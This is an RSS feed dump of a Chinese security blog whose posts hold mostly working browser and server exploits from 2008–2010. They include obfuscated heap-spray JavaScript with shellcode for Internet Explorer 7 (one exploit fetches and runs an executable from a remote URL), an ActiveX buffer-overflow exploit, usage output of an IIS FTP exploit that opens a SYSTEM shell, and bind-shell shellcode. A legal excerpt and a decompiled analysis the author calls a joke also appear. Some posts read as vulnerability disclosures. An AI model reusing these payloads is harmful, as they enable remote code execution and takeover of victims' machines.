http://www.friddy.cn/ zh-cn PBlog2 v2.4 http://www.friddy.cn/images/logos.gif http://www.friddy.cn/ Friddy's罐子 http://www.friddy.cn/article.asp?id=119 root@friddy.cn(friddy) Thu,11 Mar 2010 18:13:57 +0800 http://www.friddy.cn/default.asp?id=119 <button id='mybtn' onclick='crash();' style='display:none'></button>
<script language='javascript'>
function myfun1(){
    var shellcode = unescape('%u9999%u96fd%u3f46%u4a9f%u4a4f%uf542%u3748%u4346%u9992%u99f5%u2f47%u924f%ud69f%u3f37%uf546%u3f49%ufdf8%u3f41%u9f43%ud646%ufd3f%u42f8%u4e98%u9190%ud697%u4837%u4e3f%uf54b%u9147%u91f9%uf93f%u4e90%u4e90%u9148%uf596%uf998%u9837%u4a93%u4391%ufd96%uf947%u97f9%u9837%u994f%u98f8%u2f41%u984e%u9098%uf548%u464e%u4742%uf548%u9b4b%u9146%u9793%u373f%u9f9b%uf548%u4840%u4690%ud640%uf92f%u9b46%u934b%u424a%u9848%uf84e%u49d6%u4992%u2ffd%u9093%u2f46%u409f%u909b%u9f43%u3ff5%u2f4e%u9399%u4b99%u46d6%u9342%uf94e%u904f%u4e90%u2ffc%u4f90%u2f42%u9ffc%u4349%uf846%ufc97%u4a37%u964e%u984f%uf83f%u3f3f%u3ff9%u933f%uf52f%u4f41%u4b2f%u4191%u4e96%u4047%uf8fc%u4a93%u9342%u4146%u9b4a%u4248%u4f9b%u993f%u434b%ufd93%uf598%uf5d6%u49f9%u423f%u9396%ufcd6%uf59f%u4943%u2f47%u4b2f%u4e49%u4f4f%uf82f%u9296%u9047%u9b43%u4942%u429b%u4e99%u9297%u374b%u9b4a%u4748%u464b%u4843%u9bf5%u9842%u2f91%u972f%u4241%u4991%u37f5%u9992%u9bd6%u3f9f%u91fc%u43fd%u9696%u93f5%u9640%u4740%u904e%u9037%u2f41%u914b%u4b48%ufc49%ufc9b%u3f40%u9297%u9297%u92f8%u439b%u4797%u9946%u9f47%uf5fc%u4f90%u49f9%u9141%u48f9%u9b2f%u434b%u9bd6%ufc49%u3792%u9048%u4898%u42f9%u4646%u9293%u4398%u4f4a%u374e%uf53f%u4893%u3742%ud640%u9746%u9090%uf541%u482f%u4f9b%u9242%uf547%u979b%u4a96%u90fc%u9249%u9b4b%u9b96%u9646%u494e%ufcf9%u4890%u9693%u4b92%u2f46%u3f43%u432f%u9246%u934a%u2ff5%u4893%ufd41%u2f90%u4b9f%u9292%u4e40%u9897%u4f41%u4849%u4ff8%u4b9f%u373f%u3f49%u904a%u4a3f%ud64f%uf993%u93fd%u4f4b%u992f%u4afc%uf596%u4a4e%u2f93%u9f48%u3f93%u49fd%u4896%u913f%u484b%u4a97%uf89f%ufc92%ufd90%ufc3f%u42fc%uf89f%u4192%uf92f%u962f%u4f4b%u4247%u4842%u984b%u439f%u4e9b%u404f%ud62f%u9991%u9143%u40f9%u3f93%u989b%u9391%u9f99%u9191%u49fd%u983f%u9b48%u46fc%u4b92%u4a91%ufc42%u939b%u4e97%u4242%u91f9%ufdf9%u2f2f%u434f%u3790%u9941%u4149%u2f98%u469f%u414e%u964f%u9b2f%uf5d6%u9b43%u9f42%ud649%ud6f8%u4a4b%u9649%u4647%u4b4f%u49f5%uf9f9%u4740%u47fd%u4e4e%u4a43%u9697%u4146%u9b4a%u984b%u904b%u99fd%ufdf9%u4890%uf52f%u46fd%u49f9%u9f9f%uf947%uf53f%u9037%u2f3f%u9290%u9041%u9fd6%u96f5%ufc98%u3ffd%u434f%u434a%u464e%uf993%u903f%u46fd%u9ff8%u4747%u3741%u4642%u9146%ud64b%u9797%u9691%u4ff9%u4991%u2f9b%ufc49%ud69f%u4b99%uf54f%u4a48%u414e%u434e%u3f48%u9349%u489b%u962f%u49f9%uf5fc%u4137%u3f37%u9047%uf992%ud69b%uf940%u4048%u4b41%u983f%u4793%u4099%u97fc%u4697%u4397%u99fc%u9098%u9f41%u9691%ud640%u9f9f%uf59b%u2ff5%u9140%u9197%u4340%u4f97%u9142%u9798%u9992%u3793%ud64e%u2f97%u96fd%ud6d6%u372f%udb93%ud9cc%u2474%ubaf4%ud1fb%ua5cf%u295e%ub1c9%u3133%u1956%uc683%u0304%u1556%u2419%u614e%u3589%u95ae%u52cd%u6ad8%ua32d%ue3bb%u92c8%u90e9%u8799%ud23d%u2bcf%ub6b5%ub8fb%u1ebb%u080c%u7971%u8923%u45b7%u49ef%u39d9%u9ded%u0339%ud03e%u4438%u1b22%u1d68%u8e29%u2a9d%u136f%ufc9f%u2be4%u79e7%udf3a%u835d%u706a%ucbe9%ufa92%uebb5%u2fa3%ud0a6%u44ea%ua21d%u8ced%u4b6f%uf0dc%u723c%ufcd1%ub23d%u1ed5%uc848%ua226%u0b4b%u7855%u8ed9%u0bfd%u6b79%ud8fc%uf81c%u95f2%ua66b%u2b16%udcbf%ua022%u333e%uf2a3%u9764%ua1e8%u8e05%u0754%ud039%uf830%u9a9f%uedd2%uc0a6%uf0b8%u7f2b%uf385%u8033%u9ba5%u0b02%udb2a%ude9a%u130f%u43d1%ubc39%u11bc%ua178%ucc3e%udcbe%ue5bc%u1b3e%u8fdc%u673b%u635a%uf831%u830f%uf9e6%ue005%u6a69%ue7c5');
    RlvzZEYyqXDyrSvnpasCPmbwnFhxrAtuMRPoDPQvG = new Array();
    var hlaFYMOTReecXkoVGjZQCoWrfZwXTkEMeZAVRPcYoraj = 0x86000-(shellcode.length*2);
    var jlIZqNKPCHQCPQBWKDaqFudoJucQBKYWaQnJatZBlZTTDRfwLqgfMEZrVASdRY = unescape('%u0c0c%u0c0c');
    while(jlIZqNKPCHQCPQBWKDaqFudoJucQBKYWaQnJatZBlZTTDRfwLqgfMEZrVASdRY.length<hlaFYMOTReecXkoVGjZQCoWrfZwXTkEMeZAVRPcYoraj/2) { jlIZqNKPCHQCPQBWKDaqFudoJucQBKYWaQnJatZBlZTTDRfwLqgfMEZrVASdRY+=jlIZqNKPCHQCPQBWKDaqFudoJucQBKYWaQnJatZBlZTTDRfwLqgfMEZrVASdRY; }
    var zMyiLPDAcKyxwnXuSUMgqjlcZgOGKUzNaaFYTOBIweLKVUxh = jlIZqNKPCHQCPQBWKDaqFudoJucQBKYWaQnJatZBlZTTDRfwLqgfMEZrVASdRY.substring(0,hlaFYMOTReecXkoVGjZQCoWrfZwXTkEMeZAVRPcYoraj/2);
    delete jlIZqNKPCHQCPQBWKDaqFudoJucQBKYWaQnJatZBlZTTDRfwLqgfMEZrVASdRY;
    for(ayEdmPtMHQQiQmKWsJuHANTu=0; ayEdmPtMHQQiQmKWsJuHANTu<270; ayEdmPtMHQQiQmKWsJuHANTu++) {
        RlvzZEYyqXDyrSvnpasCPmbwnFhxrAtuMRPoDPQvG[ayEdmPtMHQQiQmKWsJuHANTu] = zMyiLPDAcKyxwnXuSUMgqjlcZgOGKUzNaaFYTOBIweLKVUxh + zMyiLPDAcKyxwnXuSUMgqjlcZgOGKUzNaaFYTOBIweLKVUxh + shellcode;
    }
}
function crash(){
    myfun1();    
    var CQqbQpYwnNgtviXfsHldLcQuPpqeARtmICXiaupKQzVieEZaMIHMcKMxQSkhxLISlBakYmlYjtVliXfcizLkbmOvNVtWbvLE = document.createElement('body');
    CQqbQpYwnNgtviXfsHldLcQuPpqeARtmICXiaupKQzVieEZaMIHMcKMxQSkhxLISlBakYmlYjtVliXfcizLkbmOvNVtWbvLE.addBehavior('#default#userData');
    document.appendChild(CQqbQpYwnNgtviXfsHldLcQuPpqeARtmICXiaupKQzVieEZaMIHMcKMxQSkhxLISlBakYmlYjtVliXfcizLkbmOvNVtWbvLE);
    try {
        for (ayEdmPtMHQQiQmKWsJuHANTu=0; ayEdmPtMHQQiQmKWsJuHANTu<10; ayEdmPtMHQQiQmKWsJuHANTu++) {
            CQqbQpYwnNgtviXfsHldLcQuPpqeARtmICXiaupKQzVieEZaMIHMcKMxQSkhxLISlBakYmlYjtVliXfcizLkbmOvNVtWbvLE.setAttribute('s',window);
        }
    } catch(e){ }    
    window.status+='';
}

document.getElementById('mybtn').onclick();
</script></body></html>]]> http://www.friddy.cn/article.asp?id=113 root@friddy.cn(friddy) Fri,20 Nov 2009 13:27:46 +0800 http://www.friddy.cn/default.asp?id=113
http://www.yxlink.com/newsview_15.html

[Copy From yxlink.com]

+++++++++++++++++++++++++++++++++++++++++++++++++

1．漏洞介绍
在XHTML 1.0标准下，使用特殊构造的CSS样式，在Internet Explorer 7.0 打开特定的网页后，Internet Explorer 7.0将发生内存崩溃，EIP指针将访问0x70613e5b附近的内存区域。如果将0x70613e5b附近覆盖特殊的机器码，就可以执行任意命令。

2．漏洞危害(危害等级高)
黑客如果将含有“漏洞利用程序的网页”置于网站上，浏览过含有“漏洞利用程序的网页”的客户端将被运行特洛伊木马。

3．通知途径
已经向“国家漏洞库”提交。

4．详细文档下载:  [url]http://www.yxlink.com/download/[YV20090432]IE7vul.doc[/url]

POC:

<!--
请将以下内容粘贴到html文件中,成功后将跳出计算器程序
南京铱迅信息技术有限公司（Nanjing Yxlink Information Technologies Co.,Ltd.）
http://www.yxlink.com
-->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<HTML xmlns="http://www.w3.org/1999/xhtml">
    <HEAD>
<script>  
            function load(){
                var e;
                e=document.getElementsByTagName("STYLE")[0];
                e.outerHTML="1";
            }
        </script>    
        <STYLE type="text/css">
            body{ overflow: scroll; margin: 0; }
        </style>
        
        <SCRIPT language="javascript">
var shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<4000; x++) memory[x] = block + shellcode;
</script>

    </HEAD>    
    <BODY onload="load()">
    </BODY>
</HTML>]]> http://www.friddy.cn/article.asp?id=103 root@friddy.cn(friddy) Thu,03 Sep 2009 16:01:00 +0800 http://www.friddy.cn/default.asp?id=103
IIS5.0 FTP NLST Exploit by friddy just for test
usage: iisftpexp.exe <dest ip> <dest port> <your ip> <ftp username> <ftp password>

Sample:iisftpexp.exe 192.168.1.110 21 192.168.1.111 anonymous anonymous
[-] Exiting...

============================================================================
C:\>iisftpexp.exe 192.168.1.110 21 192.168.1.111 anonymous anonymous
IIS5.0 FTP NLST Exploit by friddy just for test
open local port:24934
[+] Connecting...
[+] Sending USER...
Try NLST
try:telnet 192.168.1.110 4444

C:\>telnet 192.168.1.110 4444

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32>

成功后telnet 对方的4444端口就能拿到个SYSTEM权限的cmdshell了

解压密码：friddy
点击下载此文件
]]> http://www.friddy.cn/article.asp?id=84 root@friddy.cn(friddy) Thu,19 Feb 2009 12:30:39 +0800 http://www.friddy.cn/default.asp?id=84 发布时间:2009-02-10
影响版本:
Microsoft Internet Explorer 7.0

漏洞描述:
BUGTRAQ ID: 33627
CVE(CAN) ID: CVE-2009-0075

Comment by Friddy:
这个实际不是个破坏内存的漏洞，可以利用这个漏洞执行任意的代码。
今天我花了十几分钟修改了miliw0rm的只会造成DOS的POC，现在已经可以较为稳定执行任意代码。

测试平台：
Windows XP SP2+Internet Explorer 7.0

下面发出POC给各位安全爱好者测试，测试效果是弹出Windows的计算器（calc.exe）

<!--
MS09-002 Internet Exploere 7.0 Exploit
Modify by Friddy 2009.02.19 mail:qianyang@ssyeah.com
blog:www.friddy.cn
Tested under Windows XP sp2+IE 7.0
shellcode will popup the calc.exe
-->

<script language="JavaScript">
var shellcode=unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");

var array = new Array();

var ls = 0x100000-(shellcode.length*2+0x01020);

var b = unescape("%u0D0D%u0D0D");
while(b.length<ls) { b+=b;}
var lh = b.substring(0,ls/2);
delete b;

for(i=0; i<0xD0; i++) {
    array[i] = lh + shellcode;
}

CollectGarbage();

var s1=unescape("%u0b0b%u0b0bAAAAAAAAAAAAAAAAAAAAAAAAA");
var a1 = new Array();
for(var x=0;x<500;x++) a1.push(document.createElement("img"));
o1=document.createElement("tbody");
o1.click;
var o2 = o1.cloneNode();    
o1.clearAttributes();
o1=null; CollectGarbage();
for(var x=0;x<a1.length;x++) a1[x].src=s1;
o2.click;
</script>


解压密码：friddy
点击下载此文件
]]> http://www.friddy.cn/article.asp?id=66 root@friddy.cn(friddy) Sun,04 Jan 2009 13:21:05 +0800 http://www.friddy.cn/default.asp?id=66 本来只想在自己的blog里面写个漏洞，测试下几个徒弟和朋友的水平的，还有部分原因在此不方便说。谁知前几日访问量较大，被转载到国内外
的N多的XX站，竟然还被一些“大牛蛙”拿过去研究，当然还有部分伪黑客们和网络狗仔队之徒，一试便知。来看的人里面，能统计到的，
不乏wei软公司（貌似看了一遍又一遍，赞一下）、大陆&taiwan的“大牛蛙”（例如scz牛，lake2的朋友.....）、国外的“巨牛”(米国、棒棒们、罗马尼亚、法国、德国的xxx)等等。

现在结果已经明朗，这个漏洞有几个问题：
1.根本就不是stack overflow,和部分人开了个小玩笑
2.远程不可以利用（估计只有真正去朔源的真正的“大牛蛙们”才能明白）
3.0day是有的，但是不在这里

所以想搞EXP或者POC的人，以下的内容可以忽略了

下面附上RPC分析方法一文，见笑了！想免费搞0day，想0day想疯的人，也不必看了！
《RPC漏洞的通用分析方法》


Warning:
This is not a real bufferoverflow ,just for test!!!You needn't to pay attention again!
以下内容纯属虚构，如有雷同实属巧合    ||    이 사실이 허점이되지 않습니다     ||    これは本当の抜け道ではない
###############万恶的分割线#############################################
新春到！庆新年！送0day！

Microsoft Windows WorkStation 服务(windows xp sp3)存在栈溢出漏洞。
a5这个参数,由于在执行wcscpy的字符串拷贝前，没有校验字符串的长度，因此会诱发栈缓冲区溢出（Stack Overflow） ，成功利用可以远程执行任意代码。

存在漏洞DLL 文件： wkssvc 或者 wkssvc.dll
DLL 名称： Network Workstation service library
描述：
wkssvc.dll是本地系统进行远程文件打印相关服务文件。

属于： Windows
系统 DLL文件： 是


分析如下（伪代码）：
/*
Found by Friddy 12.25
Email:qianyang@ssyeah.com
http://www.friddy.cn
*/
DWORD __userpurge sub_76854A96<eax>(int a1<eax>, HLOCAL *a2<esi>, int a3, wchar_t *a4,[color=Red]wchar_t *a5,int a6, int a7, int a8)
{
  int v8; // eax@1
  int v9; // ebx@1
  HLOCAL v10; // eax@3
  HLOCAL v11; // eax@4
  HLOCAL v12; // eax@7
  HLOCAL v13; // edi@7
  int v15; // ecx@4
  int v16; // edx@4
  int v17; // eax@4
  char v18; // zf@4
  wchar_t *v19; // ST0C_4@5

  v9 = a1;
  v8 = 0;
  if ( a4 )
    v8 = *(_WORD *)(a7 + 2);
  v10 = LocalAlloc(0x40u, v8 + ((2 * v9 + 39) & 0xFFFFFFFE));
  *a2 = v10;
  if ( v10 )
  {
    *(_DWORD *)v10 = 0;
    v15 = a3;
    v16 = a8;
    *((_DWORD *)*a2 + 3) = v9;
    *((_DWORD *)*a2 + 4) = 1;
    *((_DWORD *)*a2 + 5) = v15;
    v17 = dword_7686F588;
    *((_DWORD *)*a2 + 6) = dword_7686F588;
    v18 = a4 == 0;
    *((_DWORD *)*a2 + 8) = v16;
    dword_7686F588 = (v17 + 1) & 0x7FFFFFFF;
    v11 = *a2;
    if ( v18 )
    {
      *((_DWORD *)v11 + 2) = 0;
      *((_DWORD *)*a2 + 7) = 0;
    }
    else
    {
      v19 = a4;
      *((_DWORD *)v11 + 2) = (char *)v11 + 36;
      wcscpy(*((wchar_t **)*a2 + 2), v19);
      *((_DWORD *)*a2 + 7) = (unsigned int)(*a2 + 2 * v9 + 39) & 0xFFFFFFFE;
      wcscpy(*((wchar_t **)*a2 + 7), *(const wchar_t **)(a7 + 4));
    }
    if ( !a5 )
      return 0;
    v12 = LocalAlloc(0x40u, 2 * a6 + 12);
    v13 = v12;
    if ( v12 )
    {
     wcscpy((wchar_t *)v12 + 4, a5);//栈溢出发生在这里
      *((_DWORD *)v13 + 1) = a6;
      *(_DWORD *)v13 = 1;
      *((_DWORD *)*a2 + 1) = v13;
      return 0;
    }
    LocalFree(*a2);
  }
  return GetLastError();
}

###############################################################################################################################################################################################################
//----- (7685499D) --------------------------------------------------------
signed int __stdcall sub_7685499D(int a1, int a2, wchar_t *a3, int a4, wchar_t *a5, int a6, int a7, int a8)
{
  signed int v8; // edi@1
  DWORD v9; // eax@2
  wchar_t *v10; // ecx@7
  int v12; // eax@21
  int v13; // [sp+14h] [bp-4h]@1
  int v14; // [sp+10h] [bp-8h]@1
  int v15; // [sp+Ch] [bp-Ch]@2

  v8 = 0;
  v13 = 0;
  v14 = 0;
  if ( !(unsigned __int8)RtlAcquireResourceExclusive(&unk_7686F3E4, 1) )
  {
    v8 = 2140;
    goto LABEL_18;
  }
  v9 = sub_76852B71((int)&dword_7686F3E0, a1, (int)&v15, 1);
  if ( v9 )
    goto LABEL_13;
  if ( *(_DWORD *)(dword_7686F3E0 + 12 * v15) )
    sub_76854B88(*(_DWORD *)(dword_7686F3E0 + 12 * v15), a5, (int)&v13, (int)&v14);
  if ( v13 )
  {
    if ( !a3 && !*(_DWORD *)(v13 + 8) )
    {
      ++*(_DWORD *)(v13 + 16);
      ++**(_DWORD **)(v13 + 4);
      goto LABEL_17;
    }
    v9 = sub_76854A96(a4, (HLOCAL *)&a3, a2, a3, 0, 0, a7, a8);
    if ( !v9 )
    {
      v12 = *(_DWORD *)(v13 + 4);
      v10 = a3;
      *((_DWORD *)a3 + 1) = *(_DWORD *)(v13 + 4);
      ++*(_DWORD *)v12;
      goto LABEL_8;
    }
LABEL_13:
    v8 = v9;
LABEL_17:
    RtlReleaseResource(&unk_7686F3E4);
LABEL_18:
    NtClose(a2);
    return v8;
  }
  v9 = sub_76854A96(a4, (HLOCAL *)&a3, a2, a3, a5, a6, a7, a8);//这里调用了漏洞，由此触发
  if ( v9 )
    goto LABEL_13;
  v10 = a3;
LABEL_8:
  if ( v14 )
    *(_DWORD *)v14 = v10;
  else
    *(_DWORD *)(dword_7686F3E0 + 12 * v15) = v10;
  RtlReleaseResource(&unk_7686F3E4);
  return 0;
}[/color]]]> http://www.friddy.cn/article.asp?id=60 root@friddy.cn(friddy) Wed,10 Dec 2008 13:51:05 +0800 http://www.friddy.cn/default.asp?id=60 XP/2003+Internet Explorer 7.0

测试效果： 弹出计算器程序

评述：10月份就有人喊着卖了，据说当时价值12W RMB
<script language="javascript">

if(navigator.userAgent.toLowerCase().indexOf("\x6D\x73\x69\x65 \x37")==-1)
location.replace("\x61\x62\x6F\x75\x74\x3A\x62\x6C\x61\x6E\x6B");
</script>
<script>function sleep(milliseconds)
{
    var start = new Date().getTime();
    for (var i = 0; i < 1e7; i++) {
        if ((new Date().getTime() - start) > milliseconds)
        {              break;    
        }
    }
}
function spray(sc) {
var string1 = 0x0a0a0a0a;
var string1temp=unescape;
var shellcodesize = string1temp(sc);
var heapBlockSize = 0x100000; var payLoadSize = shellcodesize.length * 2;
var szlong = heapBlockSize -(payLoadSize+0x038);
var retVal = string1temp("%u0a0a%u0a0a");
retVal = getSampleValue(retVal,szlong);  
aaablk = (string1 - 0x100000)/heapBlockSize;  
zzchuck = new Array();    
for (i=0;i<aaablk;i++)
{      
zzchuck[i] = retVal + shellcodesize;
}
}  

function getSampleValue(retVal, szlong) {  
while(retVal.length*2<szlong)
{        
retVal += retVal; }    
retVal = retVal.substring(0,szlong/2);
return retVal;
}
var a1="%u";
spray("%u56e8%u0000%u5300%u5655%u8b57%u246c%u8b18%u3c45%u548b%u7805%uea01%u4a8b%u8b18%u205a%ueb01%u32e3%u8b49%u8b34%uee01%uff31%u31fc%uacc0%ue038%u0774%ucfc1%u010d%uebc7%u3bf2%u247c%u7514%u8be1%u245a%ueb01%u8b66%u4b0c%u5a8b%u011c%u8beb%u8b04%ue801%u02eb%uc031%u5e5f%u5b5d%u08c2%u5e00%u306a%u6459%u198b%u5b8b%u8b0c%u1c5b%u1b8b%u5b8b%u5308%u8e68%u0e4e%uffec%u89d6%u53c7%u8e68%u0e4e%uffec%uebd6%u5a50%uff52%u89d0%u52c2%u5352%uaa68%u0dfc%uff7c%u5ad6%u4deb%u5159%uff52%uebd0%u5a72%u5beb%u6a59%u6a00%u5100%u6a52%uff00%u53d0%ua068%uc9d5%uff4d%u5ad6%uff52%u53d0%u9868%u8afe%uff0e%uebd6%u5944%u006a%uff51%u53d0%u7e68%ue2d8%uff73%u6ad6%uff00%ue8d0%uffab%uffff%u7275%u6d6c%u6e6f%u642e%u6c6c%ue800%uffae%uffff%u5255%u444c%u776f%u6c6e%u616f%u5464%u466f%u6c69%u4165%ue800%uffa0%uffff%u2e2e%u765c%ue800%uffb7%uffff%u2e2e%u765c%ue800%uff89%uffff%u7468%u7074%u2f3a%u662f%u6972%u6464%u2e79%u6e63%u652f%u7078%u632f%u6c61%u2e63%u7865%u0065");
sleep(5000);
nav=navigator.userAgent.toLowerCase();
if (navigator.appVersion.indexOf('MSIE')!=-1)
{   version=parseFloat(navigator.appVersion.split('MSIE')[1])
}
if (version==7)
{  
w2k3 = ((nav.indexOf('windows nt 5.2')!=-1) || (nav.indexOf('windows 2003')!=-1));
wxp = ((nav.indexOf('windows nt 5.1')!=-1) || (nav.indexOf('windows xp')!=-1));  
  if (wxp||w2k3)    document.write('<XML ID=I><X><C><![CDATA[<image SRC=http://rਊr.test.com src=http://www.google.cn]]><![CDATA[>]]

></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>');    
  var i=1;  
while ( i <= 10 )  
{window.status=" ";i++; }
}  
</script>]]> http://www.friddy.cn/article.asp?id=28 root@friddy.cn(friddy) Fri,26 Sep 2008 09:42:31 +0800 http://www.friddy.cn/default.asp?id=28
刑法第２８５条规定，违反国家规定，侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的，处三年以下有期徒刑或者拘役。

刑法修正案（七）在刑法第２８５条中增加两款（第二款、第三款）：

“违反国家规定，侵入前款规定以外的计算机信息系统或者采用其他技术手段，获取该计算机信息系统中存储、处理或者传输的数据，或者对该计算机信息系统实施非法控制，情节严重的，处三年以下有期徒刑或者拘役，并处或者单处罚金；情节特别严重的，处三年以上七年以下有期徒刑，并处罚金。”

“提供专门用于侵入、非法控制计算机信息系统的程序、工具，或者明知他人实施侵入、非法控制计算机信息系统的违法犯罪行为而为其提供程序、工具，情节严重的，依照前款的规定处罚。”



<html>
<body>
点击选项，选中打印链表列表，点打印
<a href="http://www.bl.com?zzz=dsasad
<script defer>
var ForWriting = 2;
var strFile = 'c:\\test2.js';
var objFSO = new ActiveXObject('Scripting.FileSystemObject');
。。。。。。。。。。。。。。
</script>a.c<u>o</u>m"></a>
<script>window.print();</script>
</body>
</html>]]> http://www.friddy.cn/article.asp?id=23 root@friddy.cn(friddy) Tue,16 Sep 2008 16:02:04 +0800 http://www.friddy.cn/default.asp?id=23 超星赶快补上这个漏洞吧！(2008.9.17我通知超星此漏洞，2008.9.18超星已经回复要修补此漏洞，支持一下超星！！)

本文章只含有漏洞存在的证明，效果是运行计算器的程序，不含有攻击性代码！
转载请注明作者


漏洞位置：clsid:7F5E27CE-4A5C-11D3-9232-0000B48A05B2的LoadPage函数发生缓冲区溢出
漏洞告警: ACCESS_VIOLATION
Disasm: 41414141    ?????    ()

寄存器状态:
--------------------------------------------------
EIP 41414141
EAX BAADF000
EBX 00000000
ECX 00000000
EDX 00B36F48 -> 016E9D0C
EDI 0013E084 -> Uni: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ESI 0013E39C -> 00000000
EBP 00B36F48 -> 016E9D0C
ESP 0013D85C -> Asc: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


ArgDump:
--------------------------------------------------
EBP+8    BAADF00D
EBP+12    00000000
EBP+16    BAADF00D
EBP+20    BAADF00D
EBP+24    BAADF00D
EBP+28    BAADF00D


Stack Dump:
--------------------------------------------------
13D85C 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  [................]
13D86C 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  [................]
13D87C 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  [................]
13D88C 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  [................]
13D89C 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  [................]



漏洞利用程序：

<object classid="clsid:7F5E27CE-4A5C-11D3-9232-0000B48A05B2" id='target'></object>
<P>Made By Friddy QQ:568623
<P>http://www.friddy.cn
<SCRIPT language="javascript">
var shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;//总长度
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<300; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 3092) buffer+="\x0a\x0a\x0a\x0a";
target.LoadPage(buffer ,1 ,1 ,1);//这次出问题的是LoadPage.不是Register了
</script>
]]> http://www.friddy.cn/article.asp?id=16 root@friddy.cn(friddy) Thu,11 Sep 2008 11:06:10 +0800 http://www.friddy.cn/default.asp?id=16 import sys
import struct



# the code to open port 4444 for test

friddy  = "\xeb\x10\x5b\x4b\x33\xc9\x66\xb9\x33\x01\x80\x34\x0b\xf8\xe2\xfa"
friddy += "\xeb\x05\xe8\xeb\xff\xff\xff\x11\xfd\xf9\xf8\xf8\xa7\x9c\x59\xc8"
friddy += "\xf8\xf8\xf8\x73\xb8\xf4\x73\x88\xe4\x55\x73\x90\xf0\x73\x0f\x92"
friddy += "\xfb\xa1\x10\x5d\xf8\xf8\xf8\x1a\x01\x90\xcb\xca\xf8\xf8\x90\x8f"
friddy += "\x8b\xca\xa7\xac\x07\xee\x73\x10\x92\xfd\xa1\x10\x74\xf8\xf8\xf8"
friddy += "\x1a\x01\x7b\x3f\xfc\x79\x14\x68\xf9\xf8\xf8\xac\x90\xf9\xf9\xf8"
friddy += "\xf8\x07\xae\xf4\xa8\xa8\xa8\xa8\x92\xf9\x92\xfa\x07\xae\xe8\x73"
friddy += "\x20\xcb\x38\xa8\xa8\x9e\x73\xae\xd8\x7e\x2e\x39\x32\xe8\x9e\x42"
friddy += "\xfa\xf8\xaa\x73\x2c\x92\xe8\xaa\xab\x07\xae\xec\x92\xf9\xab\x07"
friddy += "\xae\xe0\xa8\xa8\xab\x07\xae\xe4\x73\x20\x90\x9b\x95\x9c\xf8\x75"
friddy += "\xec\xdc\x7b\x14\xac\x73\x04\x92\xec\xa1\xcb\x38\x71\xfc\x77\x1a"
friddy += "\x03\x3e\xbf\xe8\xbc\x06\xbf\xc4\x06\xbf\xc5\x71\xa7\xb0\x71\xa7"
friddy += "\xb4\x71\xa7\xa8\x75\xbf\xe8\xaf\xa8\xa9\xa9\xa9\x92\xf9\xa9\xa9"
friddy += "\xaa\xa9\x07\xae\xfc\xcb\x38\xb0\xa8\x07\xae\xf0\xa9\xae\x73\x8d"
friddy += "\xc4\x73\x8c\xd6\x80\xfb\x0d\xae\x73\x8e\xd8\xfb\x0d\xcb\x31\xb1"
friddy += "\xb9\x55\xfb\x3d\xcb\x23\xf7\x46\xe8\xc2\x2e\x8c\xf0\x39\x33\xff"
friddy += "\xfb\x22\xb8\x13\x09\xc3\xe7\x8d\x1f\xa6\x73\xa6\xdc\xfb\x25\x9e"
